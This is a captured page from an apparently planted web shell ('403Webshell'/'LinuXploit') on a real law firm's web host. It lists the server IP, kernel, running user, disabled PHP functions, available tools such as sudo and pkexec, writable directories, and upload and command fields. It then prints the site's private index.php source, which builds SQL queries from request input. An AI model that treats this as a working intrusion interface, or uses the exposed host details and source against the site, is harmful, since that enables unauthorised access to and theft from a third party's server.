403Webshell
Server IP : 103.119.228.120  /  Your IP : 3.17.154.144
Web Server : Apache
System : Linux v8.techscape8.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : nobody ( 99)
PHP Version : 5.6.40
Disable Function : shell_exec,symlink,system,exec,proc_get_status,proc_nice,proc_terminate,define_syslog_variables,syslog,openlog,closelog,escapeshellcmd,passthru,ocinum cols,ini_alter,leak,listen,chgrp,apache_note,apache_setenv,debugger_on,debugger_off,ftp_exec,dl,dll,myshellexec,proc_open,socket_bind,proc_close,escapeshellarg,parse_ini_filepopen,fpassthru,exec,passthru,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,popen,show_source,proc_nice,proc_terminate,proc_get_status,proc_close,pfsockopen,leak,apache_child_terminate,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,dl,symlink,shell_exec,system,dl,passthru,escapeshellarg,escapeshellcmd,myshellexec,c99_buff_prepare,c99_sess_put,fpassthru,getdisfunc,fx29exec,fx29exec2,is_windows,disp_freespace,fx29sh_getupdate,fx29_buff_prepare,fx29_sess_put,fx29shexit,fx29fsearch,fx29ftpbrutecheck,fx29sh_tools,fx29sh_about,milw0rm,imagez,sh_name,myshellexec,checkproxyhost,dosyayicek,c99_buff_prepare,c99_sess_put,c99getsource,c99sh_getupdate,c99fsearch,c99shexit,view_perms,posix_getpwuid,posix_getgrgid,posix_kill,parse_perms,parsesort,view_perms_color,set_encoder_input,ls_setcheckboxall,ls_reverse_all,rsg_read,rsg_glob,selfURL,dispsecinfo,unix2DosTime,addFile,system,get_users,view_size,DirFiles,DirFilesWide,DirPrintHTMLHeaders,GetFilesTotal,GetTitles,GetTimeTotal,GetMatchesCount,GetFileMatchesCount,GetResultFiles,fs_copy_dir,fs_copy_obj,fs_move_dir,fs_move_obj,fs_rmdir,SearchText,getmicrotime
MySQL : ON |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /home/hendraso/public_html/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/hendraso/public_html/index.php
<?php
/*if(empty($_SERVER['HTTPS']) || $_SERVER['HTTPS'] == "off"){
    $redirect = 'https://' . str_replace("www.", "", $_SERVER['HTTP_HOST']) . $_SERVER['REQUEST_URI'];
    header('HTTP/1.1 301 Moved Permanently');
    header('Location: ' . $redirect);
    die();
}else{
	if(preg_match("/www/", $_SERVER['HTTP_HOST'])) {
		$redirect = 'https://' . str_replace("www.", "", $_SERVER['HTTP_HOST']) . $_SERVER['REQUEST_URI'];
		header('HTTP/1.1 301 Moved Permanently');
		header('Location: ' . $redirect);
		die();
	}
}*/
require_once ("Core/Autoload.php");
require Config::load()->root().'/Additional/smarty3/Smarty.class.php';
require Config::load()->root().'/Additional/Mobile_Detect.php';
session_start();
$con = Database::connection();
$detect = new Mobile_Detect;
$deviceType = ($detect->isMobile() ? ($detect->isTablet() ? 'tablet' : 'mobile') : 'computer');
$tpl = New Smarty;
$path = Config::load()->path();
$tpl->assign('navbarCst', "default");
$tpl->assign('custom', "");
$tpl->assign('device',  $deviceType);
$tpl->assign('path',  $path);
$tpl->assign('year', date('Y'));
$tpl->assign('livepath',  Config::load()->livepath());
$pathimg = $path . "/Assets/img/";
$tpl->assign('pathimg',  $pathimg);
$tpl->assign('inlinePlugins',  'Templates/Web/inline_plugins.html');
$lang = !empty($_REQUEST['lang']) ? ucfirst($_REQUEST['lang']) : "En";
$pathLang = !empty($_REQUEST['lang']) ? Config::load()->path()."/".strtolower($lang) :  Config::load()->path();
$tpl->assign('pathLang',  $pathLang);
$tpl->assign('lang',  strtolower($lang));
$global_lang = All::load()->getLang("global");
foreach($global_lang as $k_lang => $v_lang) {
    $tpl->assign($k_lang,  $v_lang);
}

for($i1=1;$i1<10;$i1++){
    for($i2=0;$i2<10;$i2++){
        for($i3=0;$i3<10;$i3++){
            $tpl->assign('pathimg'.$i1.$i2.$i3,  Config::load()->path() . "/image/{$i1}{$i2}{$i3}-Assets/img/");
        }
    }
}
//$catClass = false;
if(!empty($_REQUEST['show'])) {
    switch($_REQUEST['show']) {
        case 'about-us' :
            $content = All::load()->getPageContent("mconId = 1", true);
            setSeo($content);
            $tpl->assign('content1', $content);

            if($deviceType == 'mobile' || $deviceType == 'tablet') {
                $tpl->assign('pageDefault', "Templates/Web/content/about_us.html");
            }else{
                $tpl->assign('pageDefault', "Templates/Web/content/about_us.html");
            }
            break;
		case 'unsubscribe' :
			$status = "";
			if(!empty($_POST['email'])) {
				$email = htmlentities($_POST['email'], ENT_QUOTES, 'UTF-8');
				$cek = Database::build()->getAllDbOne("SELECT count(1) as total FROM newsletter WHERE LOWER(nletEmail) = '{$email}'");
				if($cek['total'] > 0) {
					Database::build()->updateArray("newsletter","nlet",array("nletStatus" => 1), "LOWER(nletEmail) = '{$email}'");
					$status = '<div class="text-success text-center">Unsubscribed success</div>';
				}else{
					$status = '<div class="text-danger text-center">Email Not Found!</div>';
				}
			}
			echo '
				<link rel="stylesheet" href="Assets/plugins_admin/admin_main_style.css">
				<div class="mainFixed">
    <div class="container">
        <div class="card bg-white border rounded shadow col-lg-4 col-md-4 offset-lg-4 my-5 pb-3">
            <div class="card-body">
                <div class="imgCont justify-content-center text-center mx-auto mb-3 d-block">
                    <img src="Assets/img/logo_hs_mini.jpg">
                </div>
				<form role="form" id="loginForm" method="POST" class="needs-validation" novalidate>
                    <div class="form-group rounded" id="user">
                        <label class="sr-only" for="txtusername">Email</label>
                        <div class="input-group">
                            <div class="input-group-prepend">
                                <div class="input-group-text"><i class="fa fa-user"></i></div>
                            </div>
                            <input type="text" name="email" id="email" class="form-control rounded-right" placeholder="Email" required>
                            <div class="invalid-feedback mt-1"></div>
                        </div>
                    </div>
                    <div class="text-center">
                        <button type="submit" class="btn btn-sm btn-outline-primary font-weight-bold px-4">Unsubscribe <i class="fa fa-sign-in"></i></button>
                    </div>
					'.$status.'
                </form>
				</div>
        </div>
    </div>
</div>';
			die;	
		break;
        case 'expertise' :
            $content = All::load()->getPageContent("mconId = 2", true);
            setSeo($content);
			$tpl->assign('content2', $content);
			$tpl->assign('list_practise', All::load()->getPractices());
			if($deviceType == 'mobile' || $deviceType == 'tablet') {
                $tpl->assign('pageDefault', "Templates/Web/content/practices.html");
            }else{
                $tpl->assign('pageDefault', "Templates/Web/content/practices.html");
            }
            break;
        case 'lawyers' :
            $content = All::load()->getPageContent("mconId = 3", true);
            setSeo($content);
            $tpl->assign('content3', $content);
            $tpl->assign('type_name', array(1=>"OF COUNSEL", "PARTNERS", "FOREIGN COUNSEL", "ASSOCIATES"));
            $lawyer = All::load()->getLawyer();
            ksort($lawyer);
            $tpl->assign('list_lawyer', $lawyer);

            if($deviceType == 'mobile' || $deviceType == 'tablet') {
                $tpl->assign('pageDefault', "Templates/Web/content/lawyers.html");
            }else{
                $tpl->assign('pageDefault', "Templates/Web/content/lawyers.html");
            }
            break;
        case 'news-publications' :
            $content = All::load()->getPageContent("mconId = 4", true);
            setSeo($content);
            $tpl->assign('content4', $content);
            $tpl->assign('list_news', All::load()->getNews());

            if($deviceType == 'mobile' || $deviceType == 'tablet') {
                $tpl->assign('pageDefault', "Templates/Web/content/articles.html");
            }else{
                $tpl->assign('pageDefault', "Templates/Web/content/articles.html");
            }
            break;
            break;
        case 'careers' :
            $content = All::load()->getPageContent("mconId = 5", true);
            setSeo($content);
            $tpl->assign('content5', $content);
            $tpl->assign('list_career', All::load()->getCareer());
            if($deviceType == 'mobile' || $deviceType == 'tablet') {
                $tpl->assign('pageDefault', "Templates/Web/content/careers.html");
            }else{
                $tpl->assign('pageDefault', "Templates/Web/content/careers.html");
            }
            break;
        case 'contact-us' :
            $content = All::load()->getPageContent("mconId = 6", true);
            setSeo($content);
            $tpl->assign('content6', $content);
            if($deviceType == 'mobile' || $deviceType == 'tablet') {
                $tpl->assign('pageDefault', "Templates/Web/content/contact.html");
            }else{
                $tpl->assign('pageDefault', "Templates/Web/content/contact.html");
            }
            break;
        case 'awards' :
            $content = All::load()->getPageContent("mconId = 7", true);
            setSeo($content);
            $tpl->assign('content7', $content);
            $tpl->assign('award', All::load()->getAward());

            if($deviceType == 'mobile' || $deviceType == 'tablet') {
                $tpl->assign('pageDefault', "Templates/Web/content/awards.html");
            }else{
                $tpl->assign('pageDefault', "Templates/Web/content/awards.html");
            }
            break;
        default :
            $exp = explode("-", $_GET['show']);
            $lastIndex = max(array_keys($exp));
            $detail = substr($exp[$lastIndex], 0, 1);
            if (is_numeric($detail)) {
                $id = substr($exp[$lastIndex], 1);

                if (!is_numeric($id)) {
                    die("Page Not Found !");
                }
            }
            switch ($detail) {
                case 1 :
                    $data = All::load()->getNews(false, "newsId = {$id}", true);
                    $cond = "";
                    $other = All::load()->getNews(4, "newsId != {$id}");
                    setSeo($data);
                    $tpl->assign('news_pub', "active");
                    $tpl->assign('data', $data);
                    $tpl->assign('other', $other);
                    //print_r($data); die;
                    if($deviceType == 'mobile' || $deviceType == 'tablet') {
                        $tpl->assign('pageDefault', "Templates/Web/content/article_detail.html");
                    }else{
                        $tpl->assign('pageDefault', "Templates/Web/content/article_detail.html");
                    }
                    break;
                case 2 :
                    $data = All::load()->getCareer(false, "careId = {$id}", true);
                    $cond = "";
                    $other = All::load()->getCareer(4, "careId != {$id}");
                    setSeo($data);
                    $tpl->assign('career', "active");
                    $tpl->assign('data', $data);
                    $tpl->assign('other', $other);
                    //print_r($data); die;
                    if($deviceType == 'mobile' || $deviceType == 'tablet') {
                        $tpl->assign('pageDefault', "Templates/Web/content/career_detail.html");
                    }else{
                        $tpl->assign('pageDefault', "Templates/Web/content/career_detail.html");
                    }
                    break;
                case 3 :
                    $data = All::load()->getPractices(false, "lpraId = {$id}", true);
                    $cond = "";
                    $other = All::load()->getPractices(5, "lpraId != {$id}");
                    setSeo($data);
                    $tpl->assign('practices', "active");
                    $tpl->assign('data', $data);
                    $tpl->assign('other', $other);
                    //print_r($data); die;
                    if($deviceType == 'mobile' || $deviceType == 'tablet') {
                        $tpl->assign('pageDefault', "Templates/Web/content/practices_detail.html");
                    }else{
                        $tpl->assign('pageDefault', "Templates/Web/content/practices_detail.html");
                    }
                    break;
                case 4 :
                    $data = All::load()->getLawyer("lawyId = {$id}", false, true);
                    $other = All::load()->getLawyer("lawyId != {$id}");
                    setSeo($data);
                    $tpl->assign('data', $data);
                    $tpl->assign('lawyers', "active");
                    ksort($other);
                    $tpl->assign('list_lawyer', $other);
                    $tpl->assign('type_name', array(1=>"OF COUNSEL", "PARTNERS", "FOREIGN COUNSEL", "ASSOCIATES"));
                    //print_r($data); die;
                    if($deviceType == 'mobile' || $deviceType == 'tablet') {
                        $tpl->assign('pageDefault', "Templates/Web/content/lawyers_detail.html");
                    }else{
                        $tpl->assign('pageDefault', "Templates/Web/content/lawyers_detail.html");
                    }
                    break;
            }
            break;
    }
}else{
    setSeo();
    $tpl->assign('slider', All::load()->getSlider());
    $content = All::load()->getPageContent();
    foreach($content as $k => $v) {
        $tpl->assign("content{$k}", $v);
    }

    $tpl->assign('custom', "option1");
    if($deviceType == 'mobile' || $deviceType == 'tablet') {
        $tpl->assign('pageDefault', "Templates/Web/content/home.html");
    }else{
        $tpl->assign('pageDefault', "Templates/Web/content/home.html");
    }
}

$tpl->assign('global_setting', All::load()->getGlobal());
$tpl->assign('award', All::load()->getAward());

$tpl->assign('show',  !empty($_REQUEST['show']) ? $_REQUEST['show'] : "");
$tpl->Assign('cat_class', true);

if($deviceType == 'mobile' || $deviceType == 'tablet') {
    $tpl->display("Templates/Web/main.html");
}else{
    $tpl->display("Templates/Web/main.html");
}

function setSeo($meta = false) {
    global $tpl;
    $metaTitle 			= "Hendra Soenardi";
    $metaDescription 	= "Hendra Soenardi is an Indonesian law firm which has extensive international experience. Hendra Soenardi focuses primarily on: (1) corporate and M&A, (2) banking & finance, (3) project, energy & infrastructure, (4) international dispute resolution and (5) telecommunication, media and technology.";

    $tpl->assign('meta_title', !empty($meta['meta_title']) ? $meta['meta_title'] : $metaTitle);
    $tpl->assign('meta_description', !empty($meta['meta_description']) ? $meta['meta_description'] : $metaDescription);
    //$tpl->assign('metaImage', !empty($meta['meta_image']) ? Config::load()->path() . "/Assets/img/" . $meta['meta_image'] : "");
    $tpl->assign('og_title', !empty($meta['meta_title']) ? $meta['meta_title'] : $metaTitle);
    $tpl->assign('og_description', !empty($meta['meta_description']) ? $meta['meta_description'] : $metaDescription);
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit